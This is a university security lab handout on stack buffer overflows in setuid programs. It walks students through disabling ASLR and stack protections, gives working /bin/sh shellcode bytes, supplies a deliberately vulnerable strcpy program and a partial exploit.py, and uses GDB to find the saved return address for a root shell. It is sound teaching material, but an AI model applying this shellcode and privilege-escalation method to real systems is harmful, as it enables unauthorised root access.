CITS3007 lab 5 (week 6) – Buffer overflows

It’s recommended you complete this lab in pairs, if possible, and discuss your results with your partner.

The objective of this lab is to gain insight into

1. buffer overflow vulnerabilities, and
2. setuid programs

and see how they can be exploited. You will be given a setuid program with a buffer overflow vulnerability, and your task is to develop a scheme to exploit the vulnerability and gain root privileges.

sudo sysctl -w kernel.randomize_va_space=0

1. Setup

1.1. Turning off countermeasures

Modern operating systems implement several security mechanisms to make buffer overflow attacks more difficult. To simplify our attacks, we need to disable them first. It’s worth understanding what these protections are, because even though they are enabled in (for instance) modern Linux systems, embedded systems (and some other cut-down or minimal operating systems) may still be vulnerable.

Address Space Randomization

Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult. This feature can be disabled by running the following command in the CITS3007 development environment:

$ sudo sysctl -w kernel.randomize_va_space=0

The sysctl command

This information isn’t essential to the lab, but may be helpful in understanding what’s going on here.

The sysctl command (documented at man 8 sysctl) alters the parameters of a running Linux kernel. (The sysctl command should not be confused with the annoyingly similarly named systemctl command, which has to do with starting and stopping daemon programs on a system.)

The current value of the randomize_va_space (“randomize virtual address space”) kernel parameter can be displayed by running the command:

$ cat /proc/sys/kernel/randomize_va_space

The result is a number, 0, 1 or 2, with the following meanings:

• 0 – No randomization. Everything is static.
• 1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.
• 2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

(The brk() system call, documented at man 2 brk, adjusts the size of the heap; it’s one of the system calls typically used by malloc to allocate memory on the heap.)

We use the sysctl command to set this parameter to 0.

Configuring /bin/sh

In recent versions of Ubuntu OS, /bin/sh is a symbolic link pointing to the /bin/dash shell: run ls -al /bin/sh to see this.

The Dash program (as well as Bash) implements a countermeasure that prevents it from being executed in a setuid process. If the shell detects that the effective user ID differs from the actual user ID (see the previous lab), it will immediately change the effective user ID back to the real user ID, essentially dropping the privilege.

For these exercises, our victim program is a setuid program, and our attack relies on running /bin/sh, so the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to zsh instead, a shell which lacks such protection (though with more effort, the countermeasure in /bin/dash can be defeated – you might like to try doing so as a challenge task). Inside the development environment VM, install the zsh package with the command sudo apt-get update && sudo apt-get install -y zsh, then run the following command to link /bin/sh to zsh:

$ sudo ln -sf /bin/zsh /bin/sh

You can confirm that you’ve done this correctly by running the command:

$ sh --version

If all is working as expected, it should display:

zsh 5.8 (x86_64-ubuntu-linux-gnu)

Non-executable stack

When the program runs, the memory segment containing the stack can be marked non-executable. This feature can be turned off during compilation, by passing the option “-z execstack” to gcc. This option is passed onto the linker, ld, and marks the output binary as requiring an executable stack.

This option is documented in man ld, and we will discuss it further when compiling our programs.

Stack canaries

The GCC compiler can include code in a compiled program which inserts stack canaries in the stack frames of a running program, and before returning from a function, checks that the canary is unaltered.

A RedHat article on compiler stack protection flags outlines the flags which enable stack canaries in GCC; we will use the -fno-stack-protector flag to ensure they’re disabled. (Further documentation on these options is available in the GCC manual.) We discuss this option further when compiling our programs.

2. Shellcode

Shellcode is a small portion of code that launches a shell, and is widely used in code injection attacks. The aim is to inject code into the running process that will allow us to exploit the system. In the buffer overflow attack we launch in this lab, we’ll write that code – which is just a sequence of bytes – into a location on the stack, and try to convince the target program to execute it.

Represented in C, a piece of shellcode might look like the following:

// shellcode.c
#include <stdio.h>

int main() {
  char *name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

Read about the Linux execve system call by typing man execve; it allows us to execute a program from C code. The name array is effectively a list of pointers-to-char, with a NULL pointer used to mark the end of the list.

However, we can’t straightforwardly use GCC to obtain our shellcode. Recall that shellcode is a small sequence of bytes that we want to inject into a target process. Try saving the above code as shellcode.c, and compile it with make shellcode.o shellcode. Examine the size of the compiled program with

$ du -sk shellcode

and you will see that the compiled binary is about 20 kilobytes – far too big and unwieldy for our purposes. (Once preprocessing is done on the C code with cpp, and all header files and their definitions are included, the resulting code is a lot bigger than the 9 lines above would suggest. Read here about one user’s attempts to get the smallest possible “Hello world” program using GCC.)

Instead, the easiest way to construct shellcode is to write it in assembly language.¹ The Intel 32-bit assembly code equivalent for the above C code would be something like the following (which you are not required to understand, but is presented here for interest):

; Store the command on stack
xor  eax, eax
push eax
push "//sh"
push "/bin"
mov  ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor edx, edx ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()'s system call number
int 0x80

A brief explanation of the code (again, you’re not required to understand this in detail) is:

• The "/sh" and "/bin" arguments are pushed onto the stack (lines 1–5)

• We need to pass three arguments to execve() via the ebx, ecx and edx registers,² respectively. The majority of the shellcode basically constructs the content for these three arguments.

• The code in lines 17–19 is where we make the execve system call – that is, we request a service from the kernel. The kernel expects us to put a number identifying the system call we’re after (in this case, execve) into the a1 register, and then notify the kernel by invoking an “interrupt”.

  So, we need to know what the system call number for execve is – it is 0x0b. (A list of all the system calls and their numbers are found in a Linux header called unistd_32.h, usually found at /usr/include/x86_64-linux-gnu/asm/unistd_32.h. On Ubuntu, this file will only exist if you’ve installed the package linux-libc-dev.)

  We set al to 0x0b (al represents the lower 8 bits of the eax register), and then execute the instruction “int 0x80".

  The int instruction generates a call to an interrupt handler – a bit like an exception handler – and the 0x80 in int 0x80 identifies a specific bit of kernel handler code which exists to handle system calls.

  That handler will look in register a1 (part of the eax register) to find out what system call we want to execute, and in registers ebx, ecx and edx for the arguments to that system call.

We won’t do it in this lab, but the assembly code above can be assembled using nasm, an assembler for the x86 CPU architecture. nasm would compile the above assembly into an object file (called, say, sploit.o), and that resulting object file contains the exact sequence of bytes we need to insert in order to invoke /bin/sh. The following table is an extract from a compiled object file produced by nasm,³ and shows that just 26 bytes (hex 0x1a) are needed – these 26 bytes will have the same effect as the 20KB executable compiled from shellcode.c. The leftmost column shows offsets in hex, the second column the exact byte values we want, and the last column the corresponding assembly code:

off   bytes                       assembly code
---------------------------------------------------
   0:    31 c0                    xor    eax,eax
   2:    50                       push   eax
   3:    68 2f 2f 73 68           push   0x68732f2f
   8:    68 2f 62 69 6e           push   0x6e69622f
   d:    89 e3                    mov    ebx,esp
   f:    50                       push   eax
  10:    53                       push   ebx
  11:    89 e1                    mov    ecx,esp
  13:    31 d2                    xor    edx,edx
  15:    31 c0                    xor    eax,eax
  17:    b0 0b                    mov    al,0xb
  19:    cd 80                    int    0x80

2.1. Invoking the shellcode

Download the file bufoverflow-code.zip into the VM (you can use the command wget https://cits3007.github.io/labs/bufoverflow-code.zip) and unzip it.

cd into the shellcode directory, and take a look at call_shellcode.c (reproduced below):

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode);
   int (*func)() = (int(*)())code;

   func();
   return 1;
}

The purpose of this program is to demonstrate that our shellcode byte-sequence does indeed invoke the shell /bin/sh.

The byte sequences are stored in the array shellcode – observe that the 32-bit version starts with “\x31\xc0\x50”, which is the byte sequence we get from compiling our assembly code.

What about line 27? The syntax C uses for this is unfortunately a bit obscure – but the gist of it is that we are saying “Declare func to be a pointer to some function (i.e., a blob of executable code sitting in memory), and point it at the address of the array code”. Usually, the bytes sitting in code would not be executable, because they are part of the call stack; but in our Makefile we pass the option “-z execstack” to GCC, which says to make the stack memory segment executable. Line 29 then invokes that function pointer, just as if it were a normal function, and that will execute the code.

Discuss with your lab partner what is happening here; ask the lab facilitator for an explanation if you’re not sure.

The code above includes two copies of the shellcode – one is 32-bit and the other is 64-bit. When we compile the program using the -m32 flag, the 32-bit version will be used; without this flag, the 64-bit version will be used. Using the provided Makefile, you can compile the code by typing make. Two binaries will be created, a32.out (32-bit) and a64.out (64-bit). Run them and describe your observations. As noted above, the compilation uses the execstack option, which allows code to be executed from the stack; without this option, the program will fail. Try deleting the flags “-z execstack” from the makefile and compile and run the programs again – what happens?

3. A vulnerable program

The vulnerable program used in this lab is called stack.c, which is in the code folder from the zip file. This program has a buffer overflow vulnerability, and your job is to exploit this vulnerability and gain root privileges. The essential parts are shown below (some inessential functions have been omitted):

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str) {
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv) {
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    bof(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUF_SIZE bytes long, which is less than 517. Because strcpy() does not check boundaries, buffer overflow will occur.

Since this program is a root-owned setuid program, if a normal user is able to exploit this vulnerability, the user may be able to get a root shell. Note that the program gets its input from a file called badfile, which is under users’ control. Your objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

3.1. Compilation

To compile the above vulnerable program, do not forget to turn off the stack canaries and the non-executable stack protections using the -fno-stack-protector and “-z execstack” options.

After compilation, we need to make the program a root-owned setuid program. We can achieve this by first changing the ownership of the program to root, and then changing the permission to 4755 to enable the setuid bit:

$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack

It should be noted that changing ownership must be done before turning on the setuid bit, because ownership change will cause the setuid bit to be turned off.

The compilation and setup commands are already included in Makefile, so we just need to type make to execute those commands. The variables L1, …, L4 are set in Makefile; they will be used during the compilation.

gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4

stack-L1    stack-L1-dbg
stack-L2    stack-L2-dbg
stack-L3    stack-L3-dbg
stack-L4    stack-L4-dbg

3.2. Launching an attack on a 32-bit program

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer’s starting position and the place where the return-address is stored. We will use a debugging method to find it out. Since we have the source code of the target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug.

We will add the -g flag to the gcc command, so debugging information is added to the binary. If you run make, the debugging version is already created. We will use GDB to debug stack-L1-dbg. We need to create a file called badfile before running the program.

$ touch badfile # Create an empty badfile
$ gdb stack-L1-dbg # start gdb

Within GDB, run the commands:

(gdb) b bof
(gdb) run
(gdb) next
(gdb) print $ebp
(gdb) print &buffer
(gdb) quit

This will set a break point at function bof() and run the program. We stop at the bof function and step to the strcpy call.

The ebp register is used at runtime to point to the “start” (high-memory end) of the current stack frame. When GDB stops “inside” the bof() function, it actually stops before the ebp register is set to point to the current stack frame, so if we print out the value of ebp here, we will get the caller’s ebp value. We need to use next to execute a few instructions and stop after the ebp register is modified to point to the stack frame of the bof() function.

It should be noted that the frame pointer value obtained from GDB is different from that during the actual execution (without using GDB). This is because GDB has pushed some environment data into the stack before running the debugged program. When the program runs directly without using GDB, the stack does not have that data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

Registers and the stack

A register is a quickly accessible location available to a CPU. You can think of it as being a size_t cell of memory hanging directly off the CPU. (Often, the CPU will also provide ways of referring to just part of a register, as well. For instance, there may be a name by which you can refer to just the 8 lowest (char-sized) bits of some register.) Instead of having memory addresses, like locations in RAM, they have names – for instance, eax, ebx, ecx, edx, and so on. As a program executes, data from RAM will often be loaded into the processor’s registers so it can be operated on.

On 32-bit Intel machines, some of the registers have special purposes.

• The eip register: this is the “Extended Instruction Pointer” register (or just “Instruction Pointer”) – it keeps track of what instruction should be executed next.

  When a function is called – and a new stack frame gets pushed onto the call stack – the value of the eip register needs to be saved somewhere in the stack frame, so that when the current function returns, we know what instruction to execute afterwards.

• The ebp register: this is used to hold the “base pointer” for the current stack frame. As the stack frame is being set up, ebp will be used to store a “start” or “base” point for the stack frame, and the location of variables will be calculated relative to the value of ebp.

  On GCC, it’s possible to use the function __builtin_frame_address() to get the value of the ebp register (see https://gcc.gnu.org/onlinedocs/gcc/Return-Address.html).

• The esp register: the “current stack frame” pointer. This points to the spot in the current stack frame where new local variables should be inserted. As a stack frame is being set up, this starts off being equal to the ebp register. As memory is allocated for local variables, the esp register will get decremented.

x86 registers

(Diagram of x86 registers from University of Virginia cs216 x86 Assembly Guide by David Evans.)

To exploit the buffer overflow vulnerability in the target program, we need to prepare a payload, and save it inside badfile. We will use a Python program to do that. (You won’t need any extensive knowledge of Python for this lab, since you’ll just be making minor alterations to an existing script. But if you are not familiar with Python and would like a tutorial on it, Google provides a helpful one.) We provide a skeleton program called exploit.py, which is included in the lab zip file. The code is incomplete, and you will need to replace some of the essential values in the code (marked with an XXX):

#!/usr/bin/python3
import sys

# XXX - replace the content with the actual shellcode
shellcode= (
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 0               # XXX - change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00           # XXX - change this number
offset = 0              # XXX - change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

You will need to change the exploit.py code to:

• Write the correct sequence of shellcode bytes, at line 5. (Currently, the variable shellcode just contains do-nothing, “no-op” instructions – these are a bit like writing semicolons without a statement in C, or pass statements in Python.)
• Alter the start variable at line 15. This specifies at exactly what offset in badfile the shellcode bytes are inserted.
• Alter the ret variable at line 20 and the offset variable at line 21. offset specifies a place in badcode where we want to insert an “address to return to”, and ret is that address.

Running exploit.py will generate a file badfile. Then run the vulnerable program stack.

Here is what we’re ultimately aiming for: if you manage to implement the exploit correctly, you should be able to get a root shell by creating badfile and running the stack-L1 program:

$ ./exploit.py # create the badfile
$ ./stack-L1   # launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

However, working out what values to insert in our exploit.py script at start, ret and offset will take some experimentation, which we’ll look at in the following section. (By the way: if you do get the exploit working – try running the command id to confirm you are root. If you’ve successfully become root, the id command will say that your userid is 0)

3.3. Hints on inserting your shellcode

It can be helpful to try and orient yourself while using GDB, and work out where different parts of the stack are. In this section, we show some commands you can run to find their locations.

$ ps -af | grep stack-L1-dbg
vagrant     1355    1340  0 02:43 pts/1    00:00:00 gdb ./stack-L1-dbg
vagrant     1357    1355  0 02:43 pts/1    00:00:00 /home/vagrant/lab04-code/code/stack-L1-dbg
vagrant     1362    1246  0 02:44 pts/0    00:00:00 grep --color=auto stack-L1-dbg

56555000-56558000 r-xp 00000000 fc:03 393228          /home/vagrant/lab04-code/code/stack-L1-dbg
56558000-56559000 r-xp 00002000 fc:03 393228          /home/vagrant/lab04-code/code/stack-L1-dbg
56559000-5655a000 rwxp 00003000 fc:03 393228          /home/vagrant/lab04-code/code/stack-L1-dbg
5655a000-5657c000 rwxp 00000000 00:00 0               [heap]
f7dd5000-f7fba000 r-xp 00000000 fc:03 1847105         /usr/lib32/libc-2.31.so
f7fba000-f7fbb000 ---p 001e5000 fc:03 1847105         /usr/lib32/libc-2.31.so
f7fbb000-f7fbd000 r-xp 001e5000 fc:03 1847105         /usr/lib32/libc-2.31.so
f7fbd000-f7fbe000 rwxp 001e7000 fc:03 1847105         /usr/lib32/libc-2.31.so
f7fbe000-f7fc1000 rwxp 00000000 00:00 0
f7fcb000-f7fcd000 rwxp 00000000 00:00 0
f7fcd000-f7fd0000 r--p 00000000 00:00 0               [vvar]
f7fd0000-f7fd1000 r-xp 00000000 00:00 0               [vdso]
f7fd1000-f7ffb000 r-xp 00000000 fc:03 1847101         /usr/lib32/ld-2.31.so
f7ffc000-f7ffd000 r-xp 0002a000 fc:03 1847101         /usr/lib32/ld-2.31.so
f7ffd000-f7ffe000 rwxp 0002b000 fc:03 1847101         /usr/lib32/ld-2.31.so
fffdd000-ffffe000 rwxp 00000000 00:00 0               [stack]

(gdb) print main
$1 = {int (int, char **)} 0x565562e0 <main>

(gdb) help info proc
Show /proc process information about any running process.
Specify any process id, or use the program being debugged by default.
Specify any of the following keywords for detailed info:
  mappings -- list of mapped memory regions.
  stat     -- list a bunch of random process info.
  status   -- list a different bunch of random process info.
  all      -- list all available /proc info.

A good way to start is to open the vulnerable program in GDB, put a breakpoint within the bof function, and then run the program. If we’re stopped somewhere in the bof function, then if we issue the backtrace command, we can get some basic information about the stack frames currently on the stack:

(gdb) backtrace
#0  bof (str=0xffffd2e3 "\n\212\027\377\367\bRUV\001") at stack.c:17
#1  0x565563ee in dummy_function (str=0xffffd2e3 "\n\212\027\377\367\bRUV\001") at stack.c:46
#2  0x56556382 in main (argc=1, argv=0xffffd5a4) at stack.c:34

(If you see something very different – make sure you’re running GDB against stack-L1-dbg, and not stack-L1. The latter program is missing the debug symbols that have been inserted into stack-L1-dbg, and thus will be less easy to analyse using GDB.)

This says there are 3 stack frames on the stack. Stack frame #2 represents our position in the main function. We’ve just executed an instruction sitting at location 0x56556382 in memory,⁵ which corresponds to stack.c line 34 (i.e., the call to dummy_function(str)).

Similarly, stack frame #1 represents our position in dummy_function, and stack frame #0 is the current stack frame.

We can get more information about a stack frame using the info frame command. For instance, issuing the GDB command info frame 0 should result in output like the following:

(gdb) info frame 0
Stack frame at 0xffffcec0:
 eip = 0x565562c2 in bof (stack.c:17); saved eip = 0x565563ee
 called by frame at 0xffffd2d0
 source language c.
 Arglist at 0xffffce3c, args: str=0xffffd2e3 "\n\212\027\377\367\bRUV\001"
 Locals at 0xffffce3c, Previous frame's sp is 0xffffcec0
 Saved registers:
  ebx at 0xffffceb4, ebp at 0xffffceb8, eip at 0xffffcebc

This tells us:

• Looking at the first line of output, Stack frame at 0xffffcec0:

  The current stack frame, for bof, is at location 0xffffcec0. (The stack frames for dummy_function and main, if we inspect them, will be at higher addresses in memory. Recall that the stack grows from high memory addresses to low ones.)

• Looking at the second line of output, eip = 0x565562c2 in bof (stack.c:17); saved eip = 0x565563ee:

  This tells us about the value of the eip register. On Intel processors, this is the “Extended Instruction Pointer” register – it keeps track of what instruction is currently being executed.

  eip = 0x565562c2 in bof (stack.c:17) tells us that we’re currently executing the instruction at location 0x565562c2 in memory, and that it corresponds to stack.c line 17.

  saved eip = 0x565563ee tells us about the bit of the stack frame that says what code to execute after the current function returns. Presently, the stack frame is going to return to location 0x565563ee – the spot in dummy_function where we’ve just executed the call to bof().

• Looking at the last line of output, eip at 0xffffcebc:

  This tells us the location we need to overwrite, if we want to jump to somewhere other than dummy_function.

  Memory location 0xffffcebc is the part of the current stack frame which stores the “next instruction to execute” after bof returns.

Let’s examine the Instruction Pointer a little. Make sure you’re stopped in the middle of the bof function: issue the GDB commands run (this will ask you if you want to restart the program; answer yes) and next to get there.

Issue the GDB command print $eip to show the current value of the Instruction Pointer, and you should see something like the following:

(gdb) print $eip
$8 = (void (*)()) 0x565562c2 <bof+21>

What does this mean?

• (void (*)()) says that we should think of the eip register as holding a pointer to a function taking no arguments and returning void.
• 0x565562c2 is the location in memory of the address currently being executed.
• <bof+21> says it’s 21 instructions past the start of bof. (If you like, you can confirm this by issuing the GDB command print bof – that will tell you where the first instruction in bof is located – and checking that it’s equal to address_in_eip − 21.

Now let’s do the same for the saved eip.

(gdb) set $myvar = 0x2020

(gdb) print/x $myvar
$9 = 0x2020

We know the saved eip is stored in memory location 0xffffcebc. Let’s see where that currently points. We’ll use GDB’s “convenience variables” to make our commands a bit easier to read.

(gdb) set $saved_eip = 0xffffcebc
#     ^ store the location for later
(gdb) print (size_t *) $saved_eip
#     ^ we can tell GDB to treat $saved_eip as a pointer to size_t*
$10 = (size_t *) 0xffffcebc
(gdb) print/x (* ((size_t *) $saved_eip))
#     ^ now we *dereference* the $saved_eip location,
#       displaying (in hex) the address it holds.
$11 = 0x565563ee

We know it’s okay to treat $saved_eip as a “pointer to size_t”, because a size_t is big enough to hold any address in memory.⁶ GDB tells us that the current contents of $saved_eip is 0x565563ee – and that is indeed the address GDB has said we’re going to jump back to.

We can issue the command print (void (*)()) 0x565563ee to confirm where that address is – GDB will tell us that it’s the same as <dummy_function+62>. (We cast it to the type “pointer to a function taking no arguments and returning void”, so that GDB knows to interpret it as the address of executable code.)

So, we’ve confirmed that the saved eip register does says that once the current function has finished executing, we’re to jump back into somewhere in dummy_function (specifically, the 62nd instruction after the start of the function).

So, how can we overwrite the saved eip? We’ll need to know

1. where the buffer[BUF_SIZE] local variable is sitting in memory. This is where the contents of badfile will get written.
2. how far past that location the saved eip is. If we adjust the contents of badfile carefully, we should be able to overwrite the saved eip with the address of some other function.

We can get item (a) by issuing the command print &buffer. The output should be something like:

(gdb) print &buffer
$12 = (char (*)[100]) 0xffffce4c

So the address of the saved eip, minus the address of buffer, tells us the spot in badfile that should contain the address of our malicious shellcode.

To start with, you might want to focus on overwriting the saved eip with a function of your choosing and get that working, before trying to force execution of your shellcode.

For instance, can you overwrite the saved eip so that when the bof function finishes, execution will – instead of jumping to instruction <bof+21> – jump to the start of bof again, or the start of dummy_function? In exploit.py, change the value of ret to the location of the function you want to jump to, and change offset to the distance between buffer and the saved eip. You can then use GDB to step through execution of stack-L1-dbg and confirm whether this worked.

Then, try to get your shellcode executed. In exploit.py, change the value of shellcode so that it holds the shellcode instructions to execute. You’ll then need to decide where in buffer your shellcode should be inserted (leaving it at 0 to start with is fine); work out what the start address of your shellcode is going to be; and ensure that ret contains that address.

Credits

The code for the programs in this lab is adapted from the Set-UID lab at https://web.ecs.syr.edu/~wedu/seed/Labs/Set-UID/Set-UID.pdf and is copyright Wenliang Du, Syracuse University.